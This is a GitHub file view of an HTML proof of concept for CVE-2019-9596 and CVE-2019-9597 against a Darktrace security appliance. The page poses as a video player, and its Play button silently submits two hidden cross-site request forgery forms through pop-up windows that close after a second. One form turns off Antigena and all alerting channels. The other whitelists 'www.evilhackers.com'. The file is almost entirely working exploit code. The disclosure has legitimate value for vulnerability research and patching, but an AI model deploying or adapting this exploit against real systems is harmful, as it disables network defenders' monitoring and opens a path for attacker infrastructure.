Permalink
Cannot retrieve contributors at this time
Name already in use
A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
CVE-2019-9596-and-CVE-2019-9597/poc.html
Go to fileThis commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
57 lines (53 sloc)
2.45 KB
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <html> | |
| <head> | |
| <title>Darktrace POC - CVE-2019-9596 and CVE-2019-9597</title> | |
| <script> | |
| var myVideo; | |
| var attackWindow; | |
| var attackWindow2; | |
| function playPauseAndExploit() { | |
| if (myVideo.paused) { | |
| attackWindow = window.open('about:blank', 'formwindow', | |
| 'scrollbars=no,menubar=no,location=no,titlebar=no,height=100,width=100,resizable=no,toolbar=no,status=no'); | |
| attackWindow2 = window.open('about:blank', 'form2window', | |
| 'scrollbars=no,menubar=no,location=no,titlebar=no,height=100,width=100,resizable=no,toolbar=no,status=no'); | |
| document.getElementById("disable-anti-gena").submit(); | |
| document.getElementById("white-list-evil-domain").submit(); | |
| myVideo.play(); | |
| setTimeout(function() { | |
| attackWindow.close(); | |
| attackWindow2.close() | |
| }, 1000); | |
| } else { | |
| myVideo.pause(); | |
| } | |
| } | |
| document.addEventListener('DOMContentLoaded', function() { | |
| myVideo = document.getElementById("video1"); | |
| }, false); | |
| </script> | |
| </head> | |
| <body> | |
| <div style="text-align:center"> | |
| <button onclick="playPauseAndExploit();">Play/Pause Video</button> | |
| <br> | |
| <br> | |
| <video id="video1" width="800"> | |
| <source src="<link towards video file>" type="video/mp4"> Your browser does not support HTML5 video. | |
| </video> | |
| </div> | |
| <form id="disable-anti-gena" target="formwindow" method="post" action="<domain or ip Darktrace device>/config/"> | |
| <input type="hidden" name="AntigenaNetwork" value="false" /> | |
| <input type="hidden" name="HTTPAlerts" value="false" /> | |
| <input type="hidden" name="ActiveMQAlerts" value="false" /> | |
| <input type="hidden" name="CEFSyslogAlerts" value="false" /> | |
| <input type="hidden" name="EmailAlerts" value="false" /> | |
| <input type="hidden" name="JSONSyslogAlerts" value="false" /> | |
| <input type="hidden" name="LEEFSyslogAlerts" value="false" /> | |
| <input type="hidden" name="MobileAppAlerts" value="false" /> | |
| </form> | |
| <form id="white-list-evil-domain" target="form2window" method="post" action="<domain or ip Darktrace device>/whitelisteddomains"> | |
| <input type="hidden" name="newdomain" value="www.evilhackers.com" /> | |
| </form> | |
| </body> | |
| </html> |